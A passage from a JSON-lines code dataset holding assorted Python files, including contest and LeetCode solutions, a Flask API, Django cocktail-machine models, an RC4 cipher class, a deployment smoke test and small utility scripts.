router.urls\n","sub_path":"health_workforce/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"505434506","text":"import sys\nimport collections\n\nCashier = collections.namedtuple(\"Cashier\", [\"m\", \"s\", \"p\"])\n\ntc = int(sys.stdin.readline())\n\n\ndef find_min_time(nr, nb, cs):\n l = 0\n r = int(10**18 * 2)\n while l < r:\n mt = (l + r) // 2\n mc = []\n css = []\n for c in cs:\n if c.p >= mt:\n continue\n css.append(c)\n for c in css:\n mc.append(min(c.m, (mt - c.p) // c.s))\n mc.sort()\n mc.reverse()\n if sum(mc[:nr]) >= nb:\n r = mt\n else:\n l = mt + 1\n return l\n\n\nfor tn in range(tc):\n r, b, c = map(int, sys.stdin.readline().split())\n cs = []\n for _ in range(c):\n m, s, p = map(int, sys.stdin.readline().split())\n cs.append(Cashier(m, s, p))\n print(\"Case #%d: %d\" % (tn + 1, find_min_time(r, b, cs)))\n\nCLOSE","sub_path":"src/2018/firstb/A.py","file_name":"A.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"316499224","text":"\nfrom source.model import *\n\n\nuser = Bot_user.add(6,'admin','Bob','Bobovich')\nLiked_film_list.add(6,6,'Interstellar',1,1414281600,8.1111)\nExpected_film_list.add(7, 6, 'New film', 1, 1714281600, 8.456)\n\n\n\n\n","sub_path":"Bektimirov_Alim/workshop4/source/populate.py","file_name":"populate.py","file_ext":"py","file_size_in_byte":205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"620170652","text":"\"\"\"\nYou are given two non-empty linked lists representing two non-negative integers. The digits are stored in reverse\norder and each of their nodes contain a single digit. Add the two numbers and return it as a linked list.\n\nYou may assume the two numbers do not contain any leading zero, except the number 0 itself.\n\nExample:\n\nInput: (2 -> 4 -> 3) + (5 -> 6 -> 4)\nOutput: 7 -> 0 -> 8\nExplanation: 342 + 465 = 807.\n\"\"\"\n\n\n# Definition for singly-linked list.\nclass ListNode(object):\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\nclass Solution(object):\n def addTwoNumbers(self, l1, l2):\n \"\"\"\n :type l1: ListNode\n :type l2: ListNode\n :rtype: ListNode\n \"\"\"\n dummyHead = ListNode(0)\n p, q, curr, carry = l1, l2, dummyHead, 0\n while p is not None or q is not None:\n x = p.val if p is not None else 0\n y = q.val if q is not None else 0\n sum = carry + x + y\n carry = int(sum / 10) # 无进位(<1)时为0，有进位(>1)为1\n curr.next = ListNode(sum % 10)\n curr = curr.next # 走链\n if p is not None:\n p = p.next\n if q is not None:\n q = q.next\n if carry > 0: # 循环结束，如果还有进位\n curr.next = ListNode(carry)\n return dummyHead.next\n\n\ns = Solution()\nl1 = ListNode(2)\nl1.next = ListNode(4)\nl1.next.next = ListNode(3)\nl2 = ListNode(5)\nl2.next = ListNode(6)\nl2.next.next = ListNode(4)\nr = s.addTwoNumbers(l1, l2)\nprint([r.val, r.next.val, r.next.next.val])\n","sub_path":"_002_add_two_numbers.py","file_name":"_002_add_two_numbers.py","file_ext":"py","file_size_in_byte":1599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"604799490","text":"import http\nimport os\n\nimport flask\nimport src.mongo.service\nimport src.sample_data\n\nPORT = os.environ.get(\"PORT\", 3001)\nENDPOINT_MASTER_DETAIL = \"/api/masterdetail\"\nENDPOINT_LIST = \"/api/list\"\nENDPOINT_GRID = \"/api/grid\"\n\napp = flask.Flask(__name__, static_folder=\"../build\")\n\n# List Endpoints\n@app.route(ENDPOINT_LIST)\ndef get_list():\n return flask.jsonify(src.mongo.service.get())\n\n\n@app.route(ENDPOINT_LIST, methods=[\"POST\"])\ndef add_list_item():\n json_response = flask.jsonify(src.mongo.service.create())\n return flask.make_response(json_response, http.HTTPStatus.CREATED)\n\n\n@app.route(ENDPOINT_LIST + \"/\", methods=[\"DELETE\"])\ndef delete_list_item(item_id):\n try:\n removed_item = flask.jsonify(src.mongo.service.delete(item_id))\n return removed_item\n except ValueError as ex:\n err_response = flask.jsonify({\"error\": str(ex)})\n return flask.make_response(err_response, http.HTTPStatus.NOT_FOUND)\n\n\n# MasterDetail Page Endpoint\n@app.route(ENDPOINT_MASTER_DETAIL)\ndef get_master_detail():\n return flask.jsonify(src.sample_data.sample_orders)\n\n\n# Grid Page Endpoint\n@app.route(ENDPOINT_GRID)\ndef get_grid():\n return flask.jsonify(src.sample_data.sample_orders)\n\n\n# Catching all routes\n# This route is used to serve all the routes in the frontend application after deployment.\n@app.route(\"/\", defaults={\"path\": \"\"})\n@app.route(\"/\")\ndef catch_all(path):\n file_to_serve = \"index.html\"\n if path and os.path.exists(os.path.join(app.static_folder, path)):\n file_to_serve = path\n return flask.send_from_directory(app.static_folder, file_to_serve)\n\n\n# Error Handler\n@app.errorhandler(http.HTTPStatus.NOT_FOUND.value)\ndef page_not_found():\n json_response = flask.jsonify({\"error\": \"Page not found\"})\n return flask.make_response(json_response, http.HTTPStatus.NOT_FOUND)\n\n\nif __name__ == \"__main__\":\n app.run(port=PORT)\n","sub_path":"ReactFlaskWithCosmosMongo/backend/src/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"641155011","text":"import sys\nsys.path.append(\"../\") # referencia al directorio base\nfrom model import Modulo, Menu\nfrom modelo import Docente\nfrom controladores import ControladorDocente\nfrom i18n import msg\nimport util\nfrom contexto import *\nimport ZODB\nimport BTrees.OOBTree\nimport transaction, persistent\n\nclass ModuloDocente(Modulo):\n __controlador = ControladorDocente()\n\n def __init__(self):\n Modulo.__init__(self, msg('abm.docente.menu.titulo'))\n self.__menu_dict = None\n\n def listar(self):\n docentes = self.get_controlador().get_lista_objetos()\n print(msg('abm.docente.titulo.lista'))\n for doc in docentes:\n print(doc.__str__()) \n self.pausa()\n\n def registrar(self):\n print(msg('abm.docente.titulo.registrar'))\n obligatorio = True\n\n cedula = util.leer_cadena(msg('docente.ingrese.cedula'), obligatorio)\n nombre = str(util.leer_cadena(msg('docente.ingrese.nombre'), obligatorio))\n apellido = str(util.leer_cadena(msg('docente.ingrese.apellido'), obligatorio))\n fecha_nacimiento = str(util.leer_cadena(msg('docente.ingrese.fecha_nacimiento'), obligatorio))\n asignatura = str(util.leer_cadena(msg('docente.ingrese.asignatura'), obligatorio))\n telefono = str(util.leer_cadena(msg('docente.ingrese.telefono'), obligatorio))\n departamento = str(util.leer_cadena(msg('docente.ingrese.departamento'), obligatorio))\n \n docente = Docente(asignatura, departamento, telefono, cedula, nombre, apellido, fecha_nacimiento)\n\n try:\n self.get_controlador().crear(docente)\n print(msg(\"registro.creado\"))\n except Exception as e:\n print(e)\n self.pausa()\n\n def borrar(self):\n print(msg('abm.docente.titulo.borrar'))\n obligatorio = True\n cedula = util.leer_cadena(msg('docente.ingrese.cedula'), obligatorio)\n try:\n docente = self.get_controlador().buscar_codigo(cedula)\n if not docente:\n print(msg('docente.cedula.no.existe'), \":\", cedula)\n else:\n self.get_controlador().borrar(docente)\n print(msg('docente.borrado'))\n except Exception as e:\n print(e)\n self.pausa()\n\n def consultar_docente(self):\n obligatorio = True\n cedula = util.leer_cadena(msg('docente.ingrese.cedula'), obligatorio)\n \n try:\n if not util.es_numerico(cedula):\n raise Exception(\"La cedula debe ser numerica!\")\n \n docente = ControladorDocente().buscar_codigo(cedula)\n return docente\n except Exception as e:\n print(e)\n\n def ir_menu_principal(self):\n self.set_terminar_ejecucion(True)\n\n def get_controlador(self):\n return self.__controlador\n\n def get_menu_dict(self):\n #crear en caso de que aun no se haya creado\n if not self.__menu_dict:\n menu_listar = Menu(msg('abm.docente.listar'), self.listar)\n menu_registrar = Menu(msg('abm.docente.registrar'), self.registrar)\n #menu_borrar = Menu(msg('abm.docente.borrar'), self.borrar)\n menu_principal = Menu(msg('abm.ir.menu.principal'),self.ir_menu_principal)\n menus = {1: menu_listar, 2: menu_registrar, 3: menu_principal}\n self.__menu_dict = menus\n\n return self.__menu_dict\n\n\nif __name__ == \"__main__\":\n ma = ModuloDocente()\n ma.iniciar() \n","sub_path":"abm/abm_docente.py","file_name":"abm_docente.py","file_ext":"py","file_size_in_byte":3497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"351576574","text":"# -*- coding: utf-8 -*-\n\nclass Rc4(object):\n \"\"\" Implementa a Cifra RC4.\n\n Attributes:\n KEY Chave padrão da Cifra\n \"\"\"\n KEY = \"rc4isawesome\"\n\n def __init__(self, key):\n self.KEY = key\n\n def rc4(self, msg):\n \"\"\" Retorna uma mensagem encriptada ou decriptada.\n\n Keyword arguments:\n msg -- mensagem a ser encriptada ou decriptada\n \"\"\"\n S, T = [],[]\n j = 0\n rc4_msg = []\n\n # Inicialização de S e do array temporário T\n for i in range(256):\n S.append(i)\n T.append(ord(self.KEY[i % len(self.KEY)]))\n\n # Permutação inicial de S\n for i in range(256):\n j = (j + S[i] + T[i]) % 256\n S[i], S[j] = S[j], S[i] # Swap\n\n # Stream Generation\n i = j = 0\n\n for byte in msg:\n i = (i + 1) % 256\n j = (j + S[i]) % 256\n S[i], S[j] = S[j], S[i] # Swap\n rc4_msg.append( chr(ord(byte) ^ S[(S[i] + S[j]) % 256]) )\n\n return \"\".join(rc4_msg)\n\n","sub_path":"algorithms/rc4.py","file_name":"rc4.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"416409338","text":"\"Run some basic tests against the docker-compose app\"\nimport logging\nfrom urllib.parse import urljoin\n\nimport requests\nfrom bs4 import BeautifulSoup\n\nlogging.basicConfig(level=logging.DEBUG)\n\nBASE_URL = 'http://localhost:8000/'\n\ns = requests.Session()\n\n# uWSGI should return a 400 error for requests with a bad Host header\nr = s.get(urljoin(BASE_URL, ''), headers={'Host': 'badhost.com'})\nassert r.status_code == 400, r.status_code\n# uWSGI just returns an empty response. If the request makes it to Django\n# (which it shouldn't), this will be b'

    Bad Request (400)

    '.\nassert r.content == b'', r.content\n\n# Our project doesn't have a homepage URL\nr = s.get(urljoin(BASE_URL, ''))\nassert r.status_code == 404, r.status_code\n\n# We should still be able to get to the admin\nr = s.get(urljoin(BASE_URL, 'admin/'))\nassert r.status_code == 200, r.status_code\n\n# Which, in turn, should have some CSS files we can try to download\nsoup = BeautifulSoup(r.content, features=\"html.parser\")\nfor link_href in [l.get('href') for l in soup.find_all('link')]:\n # If static files fail to download, uWSGI must not be set up properly to\n # serve them.\n r = s.get(urljoin(BASE_URL, link_href))\n assert r.status_code == 200, \\\n 'r.status_code=%s, link_href=%s' % (r.status_code, link_href)\n # If there's no 'Expires' header, uWSGI probably didn't get built with\n # regexp support (likely due to a missing system package).\n assert 'Expires' in r.headers, \\\n 'r.headers=%s, link_href=%s' % (r.headers, link_href)\n","sub_path":"check.py","file_name":"check.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"267793718","text":"import sys\nimport os\n\nwd = os.getcwd()\nprint('Reading new bins...')\nNew_bins_file = wd + '/New_bins/New_bins.csv'\nNew_bins = open(New_bins_file, 'r', encoding = \"utf-8\")\nNew_bins_dic = {}\nfor line in New_bins:\n line_list = list(line.split('\\t'))\n Solyc_new = line_list[0].replace('\"', '').split('.')\n Solyc_new_short = Solyc_new[0].replace('s','S')\n New_bins_dic[Solyc_new_short.replace('\"', '')] = line_list[-1].rstrip(\"\\n\").replace('\"', '')\n #print(Solyc_new)\nBinCode_BinName_file = wd + '/dic_files/BinCode_BinName.csv'\nBinCode_BinName = open(BinCode_BinName_file, 'r', encoding = \"utf-8\")\nBinCode_BinName_dic = {}\nfor line in BinCode_BinName:\n line_list = list(line.split('\\t'))\n BinCode = line_list[0].lstrip('\"').rstrip('\"')\n BinCode_BinName_dic[BinCode] = line_list[1].lstrip('\"').rstrip('\"')\n #print(BinCode + '\\t' + BinCode_BinName_dic[BinCode])\n\ninput_directory = wd + '/input'\nfor currentpath, folders, files in os.walk(input_directory):\n for file in files:\n mapping_file = input_directory + '/' + file\n mapping = open(mapping_file, 'r', encoding = \"utf-8\")\n mapping_file_name_path = mapping_file.split('/')\n mapping_file_name_extension = mapping_file_name_path[-1].split('.')\n mapping_file_name = mapping_file_name_extension[0]\n print(\"Edited mapping file... \" + mapping_file_name_path[-1] + '\\tSolyc\\t\\tOld_bin\\t\\tNew_bin')\n output_file = wd + '/output/' + mapping_file_name + \"_custom.txt\"\n output = open(output_file, 'w', encoding = 'utf-8')\n Solyc_short_set = set() \n for line in mapping:\n line_list = line.split('\\t')\n Solyc = line_list[2].replace('\"', '').replace('s','S').replace(\"'\",\"\").split('.')\n Bin = line_list[0].replace('\"', '').replace(\"'\",\"\").split('.')\n Bin_1st = Bin[0]\n Solyc_short = Solyc[0]\n set_list = list(Solyc_short_set)\n dot = '.'\n if Solyc_short in New_bins_dic.keys() and Bin_1st == '35' and Solyc_short not in set_list:\n \n New_bins = New_bins_dic[Solyc_short]\n New_bins_list = New_bins.split('|')\n counter = list(range(0,len(New_bins_list)))\n for i in counter:\n print('Removed not assigned\\t' + dot.join(Solyc) + '\\tfrom bin\\t' + dot.join(Bin) + '\\tand added to\\t' + New_bins_list[i])\n output.write(\"'\" + New_bins_list[i] + \"'\\t'\"\n + BinCode_BinName_dic[New_bins_list[i]] + \"'\\t\"\n + line_list[2] + \"\\t\"\n + line_list[3] + \"\\n\")\n \n elif Solyc_short in New_bins_dic.keys() and Bin_1st != '35' and Solyc_short not in set_list:\n New_bins = New_bins_dic[Solyc_short]\n New_bins_list = New_bins.split('|')\n counter = list(range(0,len(New_bins_list)))\n for i in counter:\n print('replaced\\t' + dot.join(Solyc) + '\\tfrom bin\\t' + dot.join(Bin) + '\\tto\\t' + New_bins_list[i])#print(New_bins_list)\n output.write(line)#(remember to remove that)\n output.write(\"'\" + New_bins_list[i] + \"'\\t'\"\n + BinCode_BinName_dic[New_bins_list[i]]+ \"'\\t\"\n + line_list[2] + \"\\t\"\n + line_list[3] + \"\\n\")\n elif Solyc_short not in New_bins_dic.keys() and Solyc_short not in set_list:\n output.write(line)\n if Solyc_short != '':\n Solyc_short_set.add(Solyc_short)\nprint('Done!')\n","sub_path":"MapMan_mapping_file_editor.py","file_name":"MapMan_mapping_file_editor.py","file_ext":"py","file_size_in_byte":3678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"612305917","text":"# Authors: payam.kavousi@gmail.com\n\"\"\"\nThis module provides a two step SKlearn pipeline for preprocessing\n\"\"\"\n\nfrom feature_engine.encoding import OrdinalEncoder\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.preprocessing import MinMaxScaler\n\nfrom user_similarity_model.config.core import config\n\npipe = Pipeline(\n [\n # ==== Categorical encoding\n # latest_interest_tag and latest_assessment_tag\n (\n \"Targetencoder\",\n OrdinalEncoder(\n encoding_method=\"ordered\",\n variables=config.model_config.categorical_vars,\n ),\n ),\n (\"scaler\", MinMaxScaler()),\n ]\n)\n","sub_path":"user_similarity_model/pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"8337703","text":"import time\nimport datetime\nimport sys\n\nmonth = eval(time.strftime(\"%m\")[1])\ndays = [31 , 28 , 31 , 30 , 31 , 30 , 31 , 31 , 30 , 31 , 30 , 31]\ntry :\n dayCheck = int(eval(sys.argv[2]))\n monthCheck = int(eval(sys.argv[1]))\n yearCheck = int(eval(sys.argv[3]))\nexcept :\n print(\"Non-numerical day/month detected.\")\n sys.exit()\n\nif monthCheck < 1 or monthCheck > 12 :\n print(\"error : invalid month : {}\".format(monthCheck))\n sys.exit()\n\nprint(\"Counting time until : {}/{}/{}\".format(monthCheck , dayCheck , yearCheck))\n\n\ntimeStr = time.strftime(\"%d\")\nif timeStr[0] == '0' :\n day = eval(timeStr[1])\nelse :\n day = eval(timeStr)\n\ntimeStr = time.strftime(\"%m\")\nif timeStr[0] == '0' :\n month = eval(timeStr[1])\nelse :\n month = eval(timeStr[2])\n\nyear = eval(time.strftime(\"%Y\"))\n\ndayName = time.strftime(\"%A\")\nmonthName = time.strftime(\"%B\")\nprint(\"Today is : {}, {} {} , {}/{}/{}\".format(dayName , monthName , day , month , day , year))\n\ndaysToGo = 0\n\n\ndaysUntilCheck = 0\nfor i in range(monthCheck - 1) :\n daysUntilCheck = daysUntilCheck + days[i]\ndaysUntilCheck = daysUntilCheck + dayCheck\n\nif yearCheck > year :\n for i in range(yearCheck - year) :\n daysUntilCheck = daysUntilCheck + 365\n\ndate = datetime.datetime.now()\ntemp = time.strftime(\"%j\")\nif temp[0] == '0' and temp[1] == '0' :\n daysUntilToday = int(eval(temp[2]))\nelif temp[0] == '0' :\n daysUntilToday = int(eval(temp[1] + temp[2]))\nelse :\n daysUntilToday = int(eval(temp))\n\ndaysToGo = daysUntilCheck - daysUntilToday\n\nstring = \"{}\".format(date)\nmicroString = string.split('.')[1]\ntry :\n micros = eval(microString)\nexcept :\n #Very temporary workaround of an error thrown by eval\n #when the value begins with 0. Will implement a solution\n #at a later time.\n micros = 84722\n\nseconds = eval(\"{}\".format(date.second))\nminutes = eval(\"{}\".format(date.minute))\nhours = eval(\"{}\".format(date.hour))\nfor i in range(seconds) : \n micros = micros + 1000000\nfor i in range(minutes) :\n micros = micros + 60000000\nfor i in range(hours) :\n micros = micros + 3600000000\ntimeLeftInDay = 86400000000 - micros\nhoursUntil = 0\nmicrosUntil = 0\nsecondsUntil = 0\nminutesUntil = 0\nwhile timeLeftInDay > 0 :\n if timeLeftInDay >= 3600000000 :\n timeLeftInDay = timeLeftInDay - 3600000000\n hoursUntil = hoursUntil + 1\n elif timeLeftInDay >= 60000000 :\n timeLeftInDay = timeLeftInDay - 60000000\n minutesUntil = minutesUntil + 1\n elif timeLeftInDay >= 1000000 :\n timeLeftInDay = timeLeftInDay - 1000000\n secondsUntil = secondsUntil + 1\n else :\n microsUntil = timeLeftInDay\n timeLeftInDay = 0\n\nprint(\"Time until date : {} Days, {} Hours, {} Minutes, {} Seconds, {} Microseconds.\".format(daysToGo - 1, hoursUntil , minutesUntil , secondsUntil , microsUntil))\n\n","sub_path":"daysTilLisa.py","file_name":"daysTilLisa.py","file_ext":"py","file_size_in_byte":2824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"356738304","text":"\"\"\"MLOps Library\"\"\"\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn.linear_model import Ridge\nimport joblib\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.model_selection import train_test_split\nimport logging\n\nlogging.basicConfig(level=logging.INFO)\n\nimport warnings\n\nwarnings.filterwarnings(\"ignore\", category=UserWarning)\n\n\ndef load_model(model=\"model.joblib\"):\n \"\"\"Grabs model from disk\"\"\"\n\n clf = joblib.load(model)\n return clf\n\n\ndef data():\n df = pd.read_csv(\"htwtmlb.csv\")\n return df\n\n\ndef retrain(tsize=0.1, model_name=\"model.joblib\"):\n \"\"\"Retrains the model\n\n See this notebook: Baseball_Predictions_Export_Model.ipynb\n \"\"\"\n df = data()\n y = df[\"Height\"].values # Target\n y = y.reshape(-1, 1)\n X = df[\"Weight\"].values # Feature(s)\n X = X.reshape(-1, 1)\n scaler = StandardScaler()\n X_scaler = scaler.fit(X)\n X = X_scaler.transform(X)\n y_scaler = scaler.fit(y)\n y = y_scaler.transform(y)\n X_train, X_test, y_train, y_test = train_test_split(\n X, y, test_size=tsize, random_state=3\n )\n clf = Ridge()\n model = clf.fit(X_train, y_train)\n accuracy = model.score(X_test, y_test)\n logging.debug(f\"Model Accuracy: {accuracy}\")\n joblib.dump(model, model_name)\n return accuracy, model_name\n\n\ndef format_input(x):\n \"\"\"Takes int and converts to numpy array\"\"\"\n\n val = np.array(x)\n feature = val.reshape(-1, 1)\n return feature\n\n\ndef scale_input(val):\n \"\"\"Scales input to training feature values\"\"\"\n\n df = data()\n features = df[\"Weight\"].values\n features = features.reshape(-1, 1)\n input_scaler = StandardScaler().fit(features)\n scaled_input = input_scaler.transform(val)\n return scaled_input\n\n\ndef scale_target(target):\n \"\"\"Scales Target 'y' Value\"\"\"\n\n df = data()\n y = df[\"Height\"].values # Target\n y = y.reshape(-1, 1) # Reshape\n scaler = StandardScaler()\n y_scaler = scaler.fit(y)\n scaled_target = y_scaler.inverse_transform(target)\n return scaled_target\n\n\ndef height_human(float_inches):\n \"\"\"Takes float inches and converts to human height in ft/inches\"\"\"\n\n feet = int(round(float_inches / 12, 2)) # round down\n inches_left = round(float_inches - feet * 12)\n result = f\"{feet} foot, {inches_left} inches\"\n return result\n\n\ndef human_readable_payload(predict_value):\n \"\"\"Takes numpy array and returns back human readable dictionary\"\"\"\n\n height_inches = float(np.round(predict_value, 2))\n result = {\n \"height_inches\": height_inches,\n \"height_human_readable\": height_human(height_inches),\n }\n return result\n\n\ndef predict(weight):\n \"\"\"Takes weight and predicts height\"\"\"\n\n clf = load_model() # loadmodel\n np_array_weight = format_input(weight)\n scaled_input_result = scale_input(np_array_weight) # scale feature input\n scaled_height_prediction = clf.predict(scaled_input_result) # scaled prediction\n height_predict = scale_target(scaled_height_prediction)\n payload = human_readable_payload(height_predict)\n predict_log_data = {\n \"weight\": weight,\n \"scaled_input_result\": scaled_input_result,\n \"scaled_height_prediction\": scaled_height_prediction,\n \"height_predict\": height_predict,\n \"human_readable_payload\": payload,\n }\n logging.debug(f\"Prediction: {predict_log_data}\")\n return payload\n","sub_path":"mlib.py","file_name":"mlib.py","file_ext":"py","file_size_in_byte":3363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"231405637","text":"import os\nfrom math import ceil\n\nfrom django.db import models\nimport solo.models\nfrom django.utils.text import get_valid_filename\n\nfrom django.conf import settings\nDISPENSER_CHOICES = [(i, i) for i in range(settings.PUMPS_NB)]\n\n\ndef _cut(value, low=None, high=None):\n if low:\n value = max(low, value)\n if high:\n value = min(high, value)\n return value\n\n\nclass Ingredient(models.Model):\n name = models.CharField(unique=True, max_length=50)\n alcohol_percentage = models.FloatField(\n help_text='Should be between 0 and 100'\n )\n density = models.FloatField(\n help_text='In grams per liter [%s]' % settings.UNIT_DENSITY,\n default=settings.UNIT_DENSITY_DEFAULT\n )\n added_separately = models.BooleanField(\n default=False,\n )\n\n def save(self, *args, **kwargs):\n self.alcohol_percentage = _cut(self.alcohol_percentage, low=0, high=100)\n self.density = _cut(self.density, low=0)\n super(Ingredient, self).save(*args, **kwargs)\n\n def __str__(self):\n return self.name\n\n def dispensers(self, filter_out_empty):\n dispensers = self.dispenser_set.all()\n if filter_out_empty:\n dispensers = dispensers.filter(is_empty=False)\n return dispensers\n\n def is_available(self):\n return self.added_separately or self.dispensers(filter_out_empty=settings.EMPTY_DISPENSER_MAKES_MIX_NOT_AVAILABLE).exists()\n\n @staticmethod\n def available_ingredients(ingredients_in_dispensers=None, include_added_separately=False):\n if ingredients_in_dispensers is None:\n ingredients_in_dispensers = Dispenser.ingredients_in_dispensers(filter_out_empty=settings.EMPTY_DISPENSER_MAKES_MIX_NOT_AVAILABLE)\n ingredients = Ingredient.objects.filter(pk__in=ingredients_in_dispensers)\n if include_added_separately:\n return ingredients.union(Ingredient.objects.filter(added_separately=True))\n else:\n return ingredients\n\n @staticmethod\n def alcohols():\n return Ingredient.objects.exclude(alcohol_percentage=0)\n\n @staticmethod\n def available_alcohols(ingredients_in_dispensers=None):\n if ingredients_in_dispensers is None:\n ingredients_in_dispensers = Dispenser.ingredients_in_dispensers(filter_out_empty=settings.EMPTY_DISPENSER_MAKES_MIX_NOT_AVAILABLE)\n return Ingredient.alcohols().filter(id__in=ingredients_in_dispensers)\n\n\ndef mix_upload_to(instance, filename):\n new_filename = get_valid_filename(instance.name)\n if len(filename.split('.')) > 1: # keep extension\n new_filename += '.' + filename.split('.')[-1]\n return os.path.join(settings.UPLOAD_FOR_MIX, new_filename)\n\n\nclass Mix(models.Model):\n\n class Meta:\n verbose_name_plural = 'Mixes'\n\n updated_at = models.DateTimeField(auto_now=True)\n name = models.CharField(unique=True, max_length=50)\n ingredients = models.ManyToManyField(\n Ingredient,\n through='Dose',\n related_name='in_mixes',\n )\n likes = models.PositiveSmallIntegerField(default=0)\n count = models.PositiveSmallIntegerField(default=0)\n image = models.ImageField(\n max_length=200,\n height_field='image_height',\n width_field='image_width',\n upload_to=mix_upload_to,\n null=True,\n blank=True,\n )\n image_height = models.PositiveIntegerField(null=True)\n image_width = models.PositiveIntegerField(null=True)\n description = models.TextField(\n blank=True,\n )\n verified = models.BooleanField(\n default=False\n )\n\n def __str__(self):\n return self.name\n\n def save(self, *args, **kwargs):\n for dose in self.doses:\n dose.set_quantity_to_zero_if_not_required()\n super(Mix, self).save(*args, **kwargs)\n\n @property\n def doses(self):\n return Dose.objects.filter(mix=self)\n\n def ordered_doses(self):\n return self.doses.order_by('number')\n\n def real_ingredients(self):\n return self.ingredients.filter(added_separately=False)\n\n @property\n def alcohol_percentage(self):\n q_and_p = self.doses.values_list('quantity', 'ingredient__alcohol_percentage')\n if len(q_and_p) == 0:\n return 0\n try:\n percentage = sum(map(lambda qp: qp[0] * qp[1], q_and_p))/sum(map(lambda qp: qp[0], q_and_p))\n return ceil(10 * percentage) / 10\n except ZeroDivisionError:\n return 0\n\n @property\n def volume(self):\n return sum(self.doses.values_list('quantity', flat=True))\n\n @property\n def weight(self):\n q_and_d = self.doses.values_list('quantity', 'ingredient__density')\n return sum(map(lambda qd: qd[0] * settings.UNIT_CONVERSION_VOLUME_SI * qd[1], q_and_d))\n\n def is_available(self):\n return all(ingredient.is_available() for ingredient in self.ingredients.all())\n\n def calibrate_volume_to(self, desired_total):\n \"\"\"Look out you respect the correct units\"\"\"\n volume = self.volume\n for dose in self.doses:\n dose.quantity = dose.quantity * desired_total / volume\n dose.save()\n\n @staticmethod\n def filter_by_available(mixes=None):\n available_ingredients_in_dispenser = Ingredient.available_ingredients(include_added_separately=False)\n mixes = mixes if mixes is not None else Mix.objects.all()\n mixes_with_at_least_one_ingredient = mixes.filter(\n ingredients__in=available_ingredients_in_dispenser\n ).distinct()\n return filter(\n lambda mix: all(\n ingredient in available_ingredients_in_dispenser\n for ingredient in mix.real_ingredients()\n ),\n mixes_with_at_least_one_ingredient\n )\n\n @staticmethod\n def naive_available(mixes=None):\n mixes = mixes if mixes is not None else Mix.objects.all()\n available = []\n for mix in mixes:\n if mix.is_available():\n available.append(mix)\n return available\n\n\nclass Dose(models.Model):\n mix = models.ForeignKey(Mix, on_delete=models.CASCADE)\n ingredient = models.ForeignKey(Ingredient, on_delete=models.CASCADE)\n quantity = models.FloatField(\n help_text='In %s [%s]' % (settings.UNIT_VOLUME_VERBOSE, settings.UNIT_VOLUME)\n )\n number = models.PositiveSmallIntegerField(\n help_text='The number in which order the dose must be served'\n )\n\n @property\n def weight(self):\n return self.ingredient.density * (self.quantity * settings.UNIT_CONVERSION_VOLUME_SI)\n\n def __str__(self):\n if self.ingredient.added_separately:\n return str(self.ingredient)\n else:\n return '{} {} of {}'.format(self.quantity, settings.UNIT_VOLUME, self.ingredient)\n\n def save(self, *args, **kwargs):\n self.quantity = _cut(self.quantity, low=0)\n super(Dose, self).save(*args, **kwargs)\n\n def is_available(self):\n return self.ingredient.is_available() # if self.required else True\n\n def set_quantity_to_zero_if_not_required(self):\n if self.ingredient.added_separately:\n self.quantity = 0\n self.save()\n\n @property\n def required(self):\n return not self.ingredient.added_separately\n\n\nclass Dispenser(models.Model):\n updated_at = models.DateTimeField(auto_now=True)\n number = models.PositiveSmallIntegerField(\n unique=True,\n choices=DISPENSER_CHOICES\n )\n ingredient = models.ForeignKey(\n Ingredient,\n on_delete=models.SET_NULL,\n null=True,\n blank=True,\n limit_choices_to={'added_separately': False},\n )\n is_empty = models.BooleanField()\n\n def __str__(self):\n return 'Dispenser {} with {}'.format(self.number, self.ingredient)\n\n def save(self, *args, **kwargs):\n if not self.ingredient:\n self.is_empty = True\n super(Dispenser, self).save(*args, **kwargs)\n\n @staticmethod\n def ingredients_in_dispensers(filter_out_empty):\n dispensers = Dispenser.objects.all()\n if filter_out_empty:\n dispensers = dispensers.filter(is_empty=False)\n return dispensers.values_list('ingredient', flat=True)\n\n\nclass Order(models.Model):\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n mix = models.ForeignKey(\n Mix,\n on_delete=models.SET_NULL, # keep command in history even in mix is deleted\n null=True,\n blank=True,\n )\n status = models.PositiveSmallIntegerField(choices=settings.SERVING_STATES_CHOICES, default=0)\n accepted = models.BooleanField(default=False)\n\n def __str__(self):\n if self.mix:\n return 'Order of one {}'.format(self.mix)\n else:\n return 'Empty order'\n\n def status_verbose(self):\n return settings.SERVING_STATES_CHOICES[self.status][1]\n\n\nclass Configuration(solo.models.SingletonModel):\n updated_at = models.DateTimeField(auto_now=True)\n show_only_available_mixes = models.BooleanField(default=False)\n\n class Meta:\n verbose_name = \"Configuration\"\n\n def __str__(self):\n return 'Configuration'\n","sub_path":"recipes/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":9195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} 